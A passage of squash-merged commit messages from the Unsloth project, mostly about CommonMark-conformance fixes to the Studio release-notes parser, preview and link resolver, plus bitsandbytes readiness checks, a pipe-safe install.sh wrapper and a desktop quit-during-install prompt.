Both readers now track type 1 HTML blocks and skip their contents. Blocks
open only at the start of a line, so a tag named mid-sentence stays inline
text, and <details> is type 6 so its Markdown still parses.
* Studio: read HTML blocks the way CommonMark renders them
A fence inside a <pre> block was treated as a real fence, so the block's
closing tag was swallowed and every release below it disappeared. Raw HTML
state is now checked before fences, in both readers.
Type 6 and 7 blocks (<details>, <div>, a bare tag on its own line) run to
the next blank line, so a heading pressed against the opening tag is not a
release either. Type 7 cannot interrupt a paragraph, so prose followed by a
bare tag is unaffected.
Checked against a CommonMark reference: 20000 generated well-formed
changelogs now agree exactly on which headings are releases, and every
previewed note is text the renderer really shows.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: restore preview types dropped in the scanner refactor
The previous commit's refactor removed the Bullet and preview item
interfaces, so tsc -b failed and every job that builds the frontend
stopped there.
* Studio: fix release-notes preview and packaging review findings
Preview: a code span now closes on a run of the same length, so a note
containing backticks keeps them; thematic breaks no longer take a preview
slot; a quoted list is example output, so it stays out of the headline
bullets and is only used when a section has none of its own.
Popup: a failed lookup keeps the changelog link beside Retry, which the web
banner always offered before, and the desktop popup waits briefly for the
auto-auth token instead of recording a failure the user has to clear.
Packaging: the changelog snapshot is made by the build backend, so
python -m build, pip install . and sdist builds all ship the offline copy,
not only build.sh.
* Studio: scope the changelog fallback and hide staged sections
Installed, the levels above studio/ are site-packages, so a stray
CHANGELOG.md left there by another package outranked the bundled
snapshot. Those levels are now searched only when a checkout marker
(pyproject.toml or .git) is present, so a source checkout still serves
the editable file.
A section staged as only an HTML comment renders as nothing but was
reported as matched, leaving an empty notes surface. Notes that render
nothing now read as unpublished, so the popup links out instead.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: cover the remaining raw block forms and repository links
Parser and preview: processing instructions, declarations and CDATA are
literal like <pre>, so a sample heading or bullet inside one is no longer
read as a release. ATX headings now need a space or tab after the hashes,
matching CommonMark, so a pasted non-breaking space no longer truncates
the release above it.
Popup: the notes region follows the viewport and the card scrolls as a
backstop, so a window under about 430px high no longer pushes the title
and dismiss control off screen. Relative links in the notes resolve against
the repository instead of Studio's origin, where the renderer blocked them.
* Studio: reference-style images, empty previews and version queries
Reference definitions now resolve against the raw host when the label is
used as an image, so ![alt][arch] loads the file instead of its HTML page
on GitHub. Labels are matched the way CommonMark compares them, and a
reference written inside a fenced block does not count.
Notes that preview as nothing, such as a lone command block, no longer
leave an empty muted strip in the collapsed popup; expanding still shows
them. A version query that cannot parse is rejected up front rather than
looked up and reported as no notes.
* Studio: Markdown scanning fixes across the release notes path
Code spans are now scanned rather than matched by pattern, so a run of
backticks closes only on a run of the same length. The preview and the
link resolver share that scanner, so a link inside `a``b [x](y.md)`
stays literal in both.
Also: a closing fence may carry only spaces or tabs, so a delimiter with a
non-breaking space after it stays code in all three scanners; escaped
parentheses in a link target resolve to the literal path instead of being
mangled; the collapsed preview decodes entities the way the expanded view
renders them, while code spans stay literal; and release notes are fetched
through authFetch so an expired access token is refreshed and retried.
* Changelog: real 2026.7.5 notes, led by the AMD release
Fills the section the popup reads with the actual headline changes, so the
collapsed preview shows real content instead of placeholder notes. Leads with
AMD support and covers the 23 July update: RDNA2 and Gorgon Halo, Strix Halo
detection, RDNA4 and ROCm failure recovery, 2x faster unified memory loading,
whisper.cpp dictation, and rollback environment cleanup.
* Studio: fix release-notes text handling found by adversarial testing
Line endings are normalised first: a CRLF body from the desktop updater no
longer hides fences, so a code sample cannot become a headline bullet, and
lone CR text splits into bullets.
Preview: reference links and images render as their text, a definition line
renders as nothing, parentheses in a destination no longer truncate the
sentence, escaped punctuation stays literal, and a fence indented into a
list item is treated as the block it is.
Links: a badge resolves both its image and its outer link, indented code and
code spans that cross a line are left alone, a definition cannot interrupt a
paragraph, and image alt text no longer decides a label's host.
Also: an escaped backtick cannot open a code span, park sentinels in the
source cannot swap content, two in-flight requests for one version resolve
in order, and repeated bullets no longer share a React key.
Comment scanning no longer rescans code spans per delimiter and span lookup
is a binary search: the worst inputs measured drop from 96ms to 1ms at the
20k cap, and from 544ms to 15ms at 200k.
* Studio: parser and fetch fixes found by adversarial testing
A comment marker written in prose no longer swallows the rest of the file.
Only a comment that starts a line opens a block; one written mid-sentence is
inline HTML and hides its own line at most. This was the worst case found:
a single stray marker made every release below it unreachable and served
their notes under the newer version's heading.
Also in the parser: a closing delimiter takes its whole line, so a heading
glued after it is not a release; an exact heading is never shadowed by a
zero-padded one; setext headings are release boundaries; any heading, rule
or definition ends a paragraph; and the code-span guard is a linear scan
rather than a backtracking pattern, so 20k backticks parse in a millisecond
instead of over a minute.
Fetching: one deadline for the whole response with chunked reads, so a
trickling server cannot hold a worker for minutes, waiters give up instead
of queueing behind a stalled fetch, and identity encoding is requested so a
compressing proxy cannot produce mojibake notes. Truncated notes close an
open fence.
UI: images and the renderer's own link dialog are held inside the card,
which the shared preview's blanket max-width reset had let escape, and only
the notes region scrolls so the dismiss control stays reachable on a short
viewport.
The developer update override no longer beats the documented opt-out, and
its value has to parse as a version.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: CommonMark paragraph and block rules across the notes path
Setext detection now requires plain paragraph text above the underline. A
list item followed by --- is a list and a rule, not a heading: reading it as
one discarded the bullet and every note after it.
A backtick fence whose info string holds a backtick is not a fence, so such
a line no longer swallows the releases below it in the parser, the preview
and the link resolver.
Preview: only an ordered list starting at 1 interrupts a paragraph, an
unresolved reference keeps its brackets, a comment written mid-sentence
hides its own line at most instead of the rest of the document, a raw block
closer takes its whole line, and a code span closer after a backslash still
closes, since escapes do not apply inside a span.
Links: raw HTML blocks are literal, an escaped opener is not a link, and a
definition under a heading is a definition.
The overlay stack is capped to the viewport and both overlays can give up
height, so a long download list no longer pushes the update card's title and
dismiss control off screen.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: desktop notes by backend version, desktop stack cap, fetch budget
latest.json now publishes the backend release the desktop build pins, and
both desktop paths carry it: the manual metadata check through Rust, and the
in-app updater through the raw metadata it already exposes. The popup looks
release notes up by that version, so desktop stops asking CHANGELOG.md for
an app SemVer it never contains and falling back to the generic installer
text. Metadata without the field still parses and behaves as before.
The desktop overlay stack is capped to the viewport like the browser one,
since the download panel shares it and the card's own cap cannot see a
sibling.
The fetch budget now bounds each read, not just the gap between reads. Slow
headers followed by a slow body held a worker for 5.6s against a 3s budget;
it is 3.0s now, and a timeout is reported as one.
* Studio: keep list-nested headings out of the release index
A `## <version>` heading indented to a list item's content column is inside
that item in CommonMark, not a release boundary. Reading it as one truncated
the real release and indexed a version that does not exist.
parse_changelog now tracks the open list items by the column their content
starts at, and only counts a heading left of that column. Supporting rules,
each checked against markdown-it (commonmark preset): a marker needs
whitespace after it, so `2.0` stays a setext version; an item interrupts a
paragraph only when it has content, and an ordered one only when it starts at
1; an empty item takes one blank line; a dedented fence, break or heading
closes the item; and `- ## 2.0` is a heading inside the item.
* Studio: whole-paragraph setext headings, uppercase declarations, escaped marks
Three CommonMark conformance fixes on the notes path, each checked against
markdown-it (commonmark preset).
A setext heading is the whole paragraph above the underline, so a heading that
wraps kept its version only on the first line while the parser read the last:
`2026.7.5 - Release` over `July 25` left that release unindexed and its notes
unreachable. The parser now tracks every line of the open paragraph, including
lazy continuations, and stops at whatever really interrupts it: a quote marker,
a bullet, or an ordered marker starting at 1.
A type 4 HTML block needs an uppercase letter after `<!`, so prose mentioning
`<!note` was hiding every release below it until the next `>`.
In the link resolver, `\![alt][label]` renders as a link, so its definition
resolves to the file's page on GitHub rather than the raw-content host.
* Studio: the preview needs the uppercase declaration rule too
The backend parser stopped treating `<!note` as an HTML block, but the
collapsed preview still did, so prose mentioning one emptied the preview of
every bullet below it while the expanded notes rendered them. A shipped test
now pins the two to the same rule.
* Treat an empty HTML comment as closed and always release the changelog fetch flag
<!--> and <!---> are complete comments in CommonMark: the closer overlaps the
opener, so searching for --> past the opener never found it and the scanner
stayed in comment state for the rest of the file. An empty comment used as a
section marker hid every release below it, in both the backend parser and the
frontend preview.
get_remote_changelog cleared its single-flight flag only after except Exception,
so a BaseException stranded it and every later caller waited out the full
deadline for the life of the process. Move the release into a finally.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Compare resolved changelog paths instead of a hardcoded checkout name
The ordering assertion matched the string suffix /unsloth/CHANGELOG.md, so it
raised StopIteration in any checkout not literally named unsloth, and on
Windows the separator is a backslash so the suffix never matched there either.
Both are unrelated to the ordering under test. Verified failing on
ubuntu-24.04, macos-14-arm64 and windows-2025 alike, and passing after.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scan backtick runs once instead of rescanning the suffix per opener
Every unmatched opener rescanned the rest of the line and the outer loop then
advanced by a single run, so a line of runs of 1, 2, 3 ... backticks was
quadratic: 321 KB took 7.688s, and release notes are reparsed on every popup
request, so one malformed remote changelog could tie up backend workers across
installed clients. Collect the runs in one pass and walk a cursor per run
length, since a length that runs out of partners stays out. Same 321 KB now
takes 0.013s and 5 MB takes 0.205s. Verified identical output against the old
implementation on 30000 randomized lines.
* Read type 6 and 7 HTML containers in the link resolver too
The resolver masked only type 1 blocks (pre, script, style, textarea), while
the backend parser and the collapsed preview already apply the type 6 and 7
rules, so the three disagreed on the same notes. A <details> or <div> with no
blank line inside is a type 6 block whose contents render verbatim, so two
things went wrong there: a relative link was rewritten into text the reader
sees literally, and a fence inside the block was taken for a real fence, which
silently stopped every link below it from resolving. A blank line, not the
closing tag, ends these blocks, so the common '<div align="center">' followed
by a blank line still holds Markdown and still resolves.
* Mask comments before fences, split only on Markdown line endings, stage the snapshot
Three separate reports, all confirmed against head.
The link resolver tracked no comment state, so a fence delimiter hidden inside
an HTML comment was read as a real fence. The fence then stayed open and every
visible line below was classified as code, so none of its links resolved: one
commented-out draft containing a stray backtick run silently broke the rest of
the notes. Comments are masked now, but only outside a fence, since fenced
content is literal and a comment opener in it is not one. Commented ranges join
the code spans, so a link the reader cannot see is not rewritten either.
Verified with 9 cases under node; 2 fail on the previous file.
str.splitlines also breaks on U+2028, U+2029, NEL, vertical tab and form feed,
none of which end a line in CommonMark. A separator sitting in prose ahead of
"## 9.9.9" made the parser index a release that renders nowhere and truncate
the notes above it: measured, the version list went from 2.0, 9.9.9, 1.0 to
2.0, 1.0 and the 2.0 body stopped being cut at the separator.
The build wrote the snapshot beside the checked-in sources, so a PEP 517 build
against an immutable checkout (Nix, Bazel, a read-only container mount) raised
PermissionError before build_py started and produced no wheel at all. The
source-tree copy is best effort now and the wheel takes its copy from the
staging directory. Reproduced both ways against a read-only package dir.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Use the backend's heading and quote marker rules in the preview
An ATX heading needs an ASCII space or tab after the marker, which is exactly
what _HEADING_PATTERN requires. The \s class also matches a non-breaking space,
so prose beginning "## Important change" with one was classified as a heading
and discarded by collectBullets, and a prose-only release then had no collapsed
preview at all rather than a wrong one.
A blockquote marker takes at most three leading spaces, like every other marker
in this file. Accepting any run let an indented code sample containing
"> - sample output" shed its indentation and enter the collector, so a release
with no real bullets showed code as its summary.
Both reproduced under node against the real module: the two cases fail on the
previous file and pass now, with a real heading, a real quoted bullet and an
ordinary bullet unchanged.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Collect preview reference labels only from lines that can be definitions
A definition-shaped line inside an indented code block or a deep fence is
literal text, so CommonMark leaves a later "[Beta] support" unresolved with its
brackets showing. The pre-scan ran over every line regardless, so the label was
recorded and toPlainText stripped the brackets: the collapsed preview claimed a
resolved reference the expanded notes do not have.
It now skips the same code the collector pass skips. A real definition takes at
most three spaces of indentation, so the indent test cannot reject one, which
the second case checks. Reproduced under node: the indented-code definition
resolved "Beta support" before and keeps its brackets now.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Let a document-level HTML block close an open list item
CommonMark HTML blocks of types 1 to 6 interrupt a paragraph, so a "<div>" to
the left of an open list item closes it and a following one-to-three-space
indented "## 2.0" is a real document heading. Two things stopped that: the block
opener was blanked before the list tracker saw it, so it read as a blank line,
and _may_be_lazy treated it as ordinary text that could continue the item's
paragraph. The item therefore stayed open and the release below the block was
swallowed entirely.
The opener's indentation is now taken before it is hidden, the way a fence
opener's already was, and an HTML block opener is no longer a candidate for lazy
continuation. Type 7 cannot interrupt a paragraph and is deliberately excluded,
since after_paragraph is the only state this helper is asked about.
Measured on the reported shape: the version list went from 3.0, 1.0 to
3.0, 2.0, 1.0. The test also pins the two cases that must not change, an
indented heading genuinely nested in an item and an ordinary lazy continuation,
both of which still suppress the heading.
* Let the download panel shrink inside the capped overlay stack
The bottom-right stack is capped to the viewport, but a flex item defaults to
min-height:auto, so the download panel's outer wrapper could not shrink below
its own content. min-h-0 had been added to the nested panel and not to this
wrapper, so on a short viewport the cap was absorbed by the update card, whose
header and actions are fixed, instead of by the download list, which scrolls.
Only the shared-stack branch takes it. Standalone is positioned fixed and is not
a flex item at all.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten release notes comments
Shorten the comments and docs added with the update popup release notes
so each explains its line in as few words as possible. Comments only, no
behaviour change.
* Measure release-notes indentation from the container
CommonMark measures a block's indentation from its container, not from the
left margin (spec 0.31.2 sections 4.4 and 5.2). The three changelog scanners
measured from the margin in different places, so they disagreed with the
renderer and with each other.
Under "- Details:" the content column is 2, so a four-space line is two
columns in: a paragraph holding a link. The link resolver read it as an
indented code block and left the destination relative, so it resolved against
Studio's own origin instead of the repository.
At document level the same four spaces really are code, and a top-level
bullet is not indented enough to continue the block. The preview promoted an
indented line that looked like a fence opener to a list-contained fence, so
with no later closer every bullet below it was skipped and the collapsed
popup lost its summary.
A fence is scoped to its container too: with no closing line it runs to the
end of the containing block, not the end of the document (section 4.5). A
dedented "## 2.0" closes the list item the fence sits in, so it is a real
release heading. Document-wide fence state kept the block open, so one
missing closing line hid every release below it.
Both frontend scanners now read their list columns from one module ported
from the backend's own tracker, which keeps the three in step.
Two smaller fixes ride along. A release body written as a GFM table rendered
as a grid but previewed as its raw "| Change | Detail | | --- | --- |"
delimiters, so table rows are now dropped from the collapsed summary the way
a code block already is. The comment scanner restarted its code-span search
at the first span for every opener, so a line of N spans and N openers cost N
squared: a 203 KiB line, well inside the 2 MiB the fetcher accepts, took 10.9s
and now takes 41ms.
Differential fuzzing against a CommonMark reference implementation puts the
parser's heading mismatches at 11 of 14275 documents, down from 617, and the
link resolver's at 147 of 6000, down from 217.
* Keep Retry reachable when the release notes fetch fails
The panel took fallbackMarkdown for every response that did not match, error
included, so markdown was always truthy on desktop and the error branch that
carries the Retry button was unreachable. The fallback there is the updater's
static install blurb, not this release's notes, so a transient failure showed
"Download the Apple Silicon .dmg" where the notes should be, with no way to ask
again until the cache expired.
The hook already separates the two: a reported failure is error and retryable,
"no section for this version" is ready and is not. The fallback now applies only
to the second, which is the case its prop documents.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope an unclosed comment to its block and end a release on a bare ##
Two CommonMark rules the changelog scanners read too strictly.
An HTML block only opens when the line itself begins with a comment marker
(spec 0.31.2 section 4.6, type 2). One written mid-sentence is inline raw HTML
and, unclosed, is ordinary text. The link resolver carried the open state to
every line below instead, so a note reading "- Type <!-- to begin a comment"
masked the relative links under it and they resolved against Studio's own
origin rather than the repository. maskComments now separates the block form
from the inline one and skips an opener sitting inside a code span, the way
_strip_comments and stripCommentSpans already do. The spans are scanned only
once an opener turns up, so a line without one costs what it did before.
An ATX heading's opening sequence may also be followed by the end of the line
(section 4.2), so a bare ## is an empty level-two heading. Both heading
patterns required whitespace after the hashes, so everything below such a line
stayed inside the release above it and the popup could show unrelated notes
under that version. An empty heading carries no version, so it ends the release
without indexing one of its own.
Differential runs against markdown-it-py: section bodies 7769 to 0 mismatches
over 36069 generated documents, comment-heavy link resolution 705 to 53 over
6000, and previews leaking a bare marker as headline text 22484 to 0 over
40000. The residual link cases are all one shape, a comment block opened inside
a list item that outlives the item, which the fence tracker scopes and the
comment tracker does not, in all three scanners alike.
* Give a hidden comment its own column and balance link destinations
A comment is an HTML block, so one written at the margin under a bullet is not
indented enough to continue that item and closes the list. All three scanners
blanked the line before list tracking saw it, which reads as a blank line and
leaves the item open, so a release heading below it looked like nested item
content and the new release merged into the one above. A hidden line now keeps
its own column through _hidden_structure and hiddenStructure, and only its
column, since the text a comment or a raw block hides is not Markdown and must
not open a list of its own. A line inside a block already open is that block's
content and still keeps nothing.
A link destination may hold parentheses while they balance, so [x]((draft).md)
points at (draft).md. The resolver stopped at the first paren, matched an empty
destination and left the markdown alone, so the link resolved against Studio's
own origin. The balanced form counts only while a closing paren or a title
still ends the link, so the stray paren in [x](a(b.md) stays the closer the way
CommonMark reads it rather than being swallowed into a link across lines.
* Scope paragraph state to the container a line is written in
Two lines the parser read as block starts are lazy paragraph text, so the
list they were written under closed early and the heading indented to the
item's content column was indexed as a release the renderer never shows.
A setext underline may never be a lazy continuation line (spec 0.31.2
section 4.3), so `===` written left of an open item is more of that item's
paragraph. Rejecting every underline-shaped line ended the list there. A row
of three dashes is still a thematic break, which does end it.
Lazy continuation runs the other way too: a marker written outside a
blockquote is not text of the quote's paragraph, so `2. item` under `> quote`
opens a list even though an ordered marker past 1 may not interrupt a
paragraph. Paragraph state is now scoped to its container: a quote line
leaves open only the quote's own paragraph, an underline needs one in its own
container, a definition ends one only when there is none to continue, and a
line four columns past its container is code, which may not interrupt.
The frontend pair reads the same tracker, so both scanners now carry the
quote state and a fence inside a list item ends with the item in the preview
the way it already did on the backend.
Measured against markdown-it-py (CommonMark 0.31.2) over 264k generated
documents: 3368 sections now match the renderer, none regressed, and every
list and quote corpus is exact.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Read a fence and an HTML block from the container it opens in
A block is measured from its container and not from the left margin (spec
0.31.2 sections 4.5 and 5.2), but the link resolver's fence, raw HTML and type
6 expressions all started at the margin, so a fence behind a quote marker and
one three columns under a nested bullet opened nothing. The sample inside was
then read as prose, and a relative link written in a code block or a details
body was rewritten into text the reader is shown verbatim. Matching runs of
backticks hid some of it by accident, since the code span scanner pairs them
across lines, but a tilde fence, a closer of a different length and every HTML
block went through. Each line is now read from the container it is written in,
which the list tracker already knew, and a block is scoped to that container
the way a fence inside an item already was: a line to the left of the item, or
outside the quote, ends the block along with it, and a bare quote marker is
the blank line that ends a type 6 block.
A destination holds parentheses while they balance, and a path may nest them,
so [x](((draft)).md) points at ((draft)).md. One nesting level was all the
expression allowed, so anything deeper fell through to the plain form, matched
an empty destination and left the link resolving against Studio's own origin.
The pairs are unrolled to the 32 levels cmark counts, and the balanced form is
still gated on a closer following it, so the stray paren in [x](a(b.md) stays
the closer the way CommonMark reads it rather than inventing a link across
lines.
Measured against markdown-it-py (CommonMark 0.31.2) over 66k generated
documents, comparing the rendered HTML rather than the destinations alone:
7286 documents in the parenthesis corpus and 313 in the container corpus now
match the renderer, and the link and definition corpora are unchanged. One
container document regresses, where closing the HTML block correctly exposes
an unrelated gap of its own: a link reference definition still leaves a
paragraph open, so the indented line below it reads as prose rather than as
code. The list tracker still matches the backend on every step, the repo's own
CHANGELOG resolves identically, and the pathological inputs measure the same.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Read a block from the item its marker opens, and let a comment reach its paragraph
Four things the three changelog scanners read differently from a renderer.
A fence written straight after a list marker is the item's own first content,
measured from the column that content starts, so "- ```md" opens one. All three
scanners matched the whole line and saw nothing, so the code sample below it was
prose: the resolver rewrote a destination the reader sees verbatim, and the
preview offered the info string as a headline bullet. A shared itemContent /
_item_content reads past a marker that really opens an item, capping the padding
the way the list tracker caps it so an over-indented line is still indented code.
An HTML block opener is read the same way, and its marker survives into the
structural line so the item it opens is still tracked.
An HTML block holds no lazy continuation line, so one opened on an item's
continuation line ends where the item does, exactly as a fence there already
did. The backend and the preview ended it only on a blank line, so it ran past
the item and swallowed the next release heading, which made those notes
unreachable and dropped every bullet below it from the collapsed popup. A raw
block inside an item ends on a blank line too, which is where cmark puts it.
A comment written mid-sentence is inline raw HTML belonging to the paragraph
around it, so its "-->" may arrive on a later line of that same paragraph. Ending
it at its own line left a backtick inside it pairing with a real one below, which
hid a following link from the resolver, and left the preview quoting text the
popup body does not show. A shared commentClosesBelow answers whether the closer
arrives before the paragraph breaks; where it does not, the opener stays the
ordinary text a renderer shows, so a note that merely mentions "<!--" still hides
nothing.
Only ASCII punctuation is escapable, so the backslash in "docs\alpha.md" is a
character of the path. Dropping every backslash rewrote it to a path that does
not exist, and a URL parser reads what survives as a separator, so a Windows or
namespaced path pointed at the wrong file either way. The destination expression
now escapes only punctuation, which also means a space still ends a destination:
"[x](a b.md)" and "[x](a(b.md)" are not links, so their paths are left alone
rather than half-rewritten. A destination that runs out of line still resolves,
since its closer is on the line below.
Fuzzed against markdown-it (CommonMark 0.31.2) over 20k-document corpora, with
the whole rewritten document rendered and compared, not just its destinations.
Release headings: 117 to 16 on containers, 88 to 10 on markers, 17 to 12,
nothing new anywhere. Link destinations: 8823 to 104 on markers, 114 to 98 on
comments, nothing new. Whole-document renders: 9271 to 220, 5116 to 245, 1265 to
671. The Python and TypeScript list trackers still agree over 26861 steps, and
itemContent and hiddenStructure agree over another 6335. 321 KB of unmatched
backticks still measures the same.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Let a definition follow a definition, and read a comment from the item it opens in
Three CommonMark conformance fixes in the changelog scanners.
A link reference definition is a block of its own that may not interrupt a
paragraph, so it opens none either: definitions are allowed to run
consecutively (spec 0.31.2 section 4.7). The link resolver counted one as
paragraph text, so every definition after the first fell outside the set of
lines a definition may start on and kept its relative destination, which then
resolved against Studio's own origin. The backend already read the line this
way.
The guard asking whether a `-->` is reachable from an opener read any line
whose first character was punctuation as the start of a new block. A `-->`
written on a line of its own is how a multiline comment is ordinarily closed,
and a wrapped line may open with emphasis, so neither counted as more of the
paragraph carrying the comment. The comment never closed and the collapsed
popup showed the author's internal note to the reader. It now tests for a
block that may actually interrupt a paragraph.
A comment is an HTML block too (section 4.6, type 2), so one written as a list
item's first content opens inside that item exactly as a fence written there
does. All three scanners looked for the opener at the margin of the line as
written, so a marker in front of it hid the block: the resolver rewrote a
destination inside raw HTML, which Streamdown then shows the reader as a
literal URL, and the preview quoted the hidden note back at them as though the
bullet were Markdown. The opener is now read from the item's content, the
marker survives into the structural line so the item it opens is still
tracked, and the block is scoped to that item the way a fence there is.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten the release notes comments without losing the reasons they record
---------
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Fix bitsandbytes zombie module breaking test collection
A partially failed `import bitsandbytes` leaves the package half-imported:
CPython evicts only the parent from sys.modules and keeps every submodule it
had already loaded. The next import re-executes __init__ but every
`from .x import y` is served from cache, so the submodule attributes are never
rebound. The package imports "successfully" while `bnb.functional` is gone.
Bind the submodule via `import bitsandbytes.functional as bnb_functional`,
which reads sys.modules directly and survives that state, and import
bitsandbytes in tests/conftest.py on the real CPU path before
torch.cuda.is_available() is mocked, so the half-imported state is never
created in the first place.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Clear ALLOW_BITSANDBYTES when the bitsandbytes native kernels are not real
From bitsandbytes 0.46 a wheel whose native library never loaded still imports and
resolves every ctypes handle: BNBNativeLibrary.__getattr__ returns a throw_on_call
closure, and a dead library is replaced wholesale by ErrorHandlerMockBNBNativeLibrary,
which does the same for every name. Nothing raises while kernels/utils.py binds them
at module scope, so device_type.py's guarded import sees a healthy wheel,
ALLOW_BITSANDBYTES stays true, loader.py forwards the default load_in_4bit=True and
the run dies inside a kernel instead of degrading to 16bit.
Probe the handles the kernels actually bind and clear the flags when they are not
native. A real handle is a ctypes function pointer and carries restype; a deferred
failure is a Python function and does not.
Scoped to the capability flags on purpose. The module stays bound and get_ptr keeps
pointing at bitsandbytes, because these shapes import perfectly well and treating
them as absent would disable a wheel whose Python side works - a CPU-only install is
exactly that shape.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Only clear the flags when the native library is dead, not partially exporting
ALLOW_BITSANDBYTES gates 8bit as well as 4bit - loader.py:505-510 clears both - so
failing the check on one missing 4bit symbol would silently downgrade an otherwise
valid LLM.int8 request to 16bit. A library that exports some of these handles is
alive; only one where none of them is a ctypes function pointer is dead, which is
the CPU-only and ErrorHandlerMockBNBNativeLibrary case this exists for.
A genuinely missing symbol raises where kernels/utils.py binds it, so it is a crash
no capability flag can rescue and not something to trade 8bit for.
* Gate the bitsandbytes ctypes binds on the same verdict as the flags
Clearing ALLOW_BITSANDBYTES is not enough on its own. kernels/utils.py guarded
the bnb.functional.lib.* binds on `bnb is None` alone, so an importable but dead
wheel still reached them at module scope: bitsandbytes 0.45.5, the floor in
pyproject.toml, sets functional.lib = None when the native library fails to load,
and None.cdequantize_blockwise_fp32 raises right there. That kills import unsloth
outright instead of degrading to 16bit, which is the fallback the cleared flag
exists to reach.
Reuse native_kernels_ready so the bind path and the flag path agree, and take the
_bnb_required branch when they say the library is dead. Touches only the guard
expression, not the binds themselves.
* Tighten the comments on the bitsandbytes kernel readiness probe
* Require every probed handle, and license the module Apache like the rest of unsloth
The readiness verdict now gates the module-scope ctypes binds as well as the flags,
so "at least one handle is native" is no longer the right question. A library that
resolves one symbol and not another passed the probe and then raised AttributeError
at the bind the probe exists to prevent. Require all of them.
That costs 8bit in the partial case, since ALLOW_BITSANDBYTES gates both, but a wheel
missing a symbol is a shape no flag can make safe and refusing it beats crashing on
it. Flipped the test that encoded the old behaviour and added the more realistic
shape: the library loaded, one symbol is still a deferred-failure closure.
LICENSE:190 assigns files under unsloth/* to Apache 2.0, and 87 of the 90 modules
there carry that header, so use it here rather than AGPL.
* State the all-handles rule once instead of three times
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Installer: wrap install.sh in a function so a piped install cannot report curl (56)
`curl -fsSL https://unsloth.ai/install.sh | sh` makes sh the READER of a pipe.
The file is ~150KB, far more than a pipe buffer holds, so a top-level `exit` left
sh dead with thousands of lines unread. The write end then failed and curl
appended
curl: (56) Failure writing output to destination, passed 16357 returned 0
after the installer's own message, which reads as a download failure rather than
the real diagnosis. 29 of the 35 exits are in the first half of the file, so every
early failure on every platform looked like a bad download.
Measured, piping this file into sh and forcing an early exit:
before: writer rc=141 (SIGPIPE) reader rc=1
after: writer rc=0 reader rc=1
Through a real curl against a local server, curl rc went 23 -> 0 while the
installer's own exit code kept propagating.
Defining a function forces sh to parse to the closing brace before running
anything, so the pipe is always drained. install.ps1 has always had this shape
(Install-UnslothStudio invoked at the end of the file); this brings install.sh
into line.
Deliberately not reindented. Shell ignores leading whitespace, so the diff stays
two hunks instead of 4400 reflowed lines, and `exit` still exits the shell from
inside a function, so no control flow changes.
tests/sh/test_install_pipe_safety.sh pins both halves of the contract: the writer
must survive, and the installer's real exit code must still reach the caller. It
fails against the unwrapped file (writer rc=141).
* Tighten the pipe-safety comments
Compress the install.sh wrapper rationale and the test header down to the
parts that are not obvious from the code. Comments only, the parsed command
tree of both files is byte identical.
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
* Tests: import bitsandbytes before the GPU-free harness spoofs CUDA
The CPU test harness patches torch.cuda.is_available to return True so
device_type.py's cache captures "cuda" on a GPU-less runner. bitsandbytes
reads the same flag at import time to decide whether to load its CUDA
backend, and that backend reads torch._C._cuda_getCurrentRawStream, which
a CPU-only torch build does not expose. An import landing inside the spoof
window therefore raises, Python drops bitsandbytes from sys.modules while
leaving its submodules cached, and every later import returns a module with
no .functional, so unsloth/kernels/utils.py dies at module scope.
Import bitsandbytes before the window so it stays on its CPU backend and
remains fully usable, rather than being degraded to unavailable.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Desktop: ask before quitting on top of a running install
This is the trigger neither #7492 nor #7490 addresses -- both start from a venv
that is already broken. Confirmed: neither PR touches cleanup_child_processes.
Quitting runs cleanup_child_processes -> install::stop_install, which SIGTERMs the
installer's process group. In the reported session that landed at "5/10 studio
deps", so the venv kept the CLI's dependencies and lost the server stack, and the
next launch died on `import structlog`. Three minutes of installing, destroyed
with no warning and no way back.
So ask. Only from the tray Quit item -- a deliberate action with a UI present. The
RunEvent::Exit path (OS shutdown, SIGTERM) is left alone: it must never block on a
dialog nobody can answer. The call already runs off the menu callback thread,
which is also what blocking_show requires.
Closing the window was already safe (it hides to tray); this closes the remaining
way to lose an install by accident.
* Tighten comments in desktop quit-during-install guard
* Condense comments in quit-during-install guard
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
* Installer: stop requiring a developer toolchain on the consumer path
A brand new Mac cannot install Studio at all. install.sh gates on
`xcode-select -p` and exits 1 with 'Xcode Command Line Tools are required',
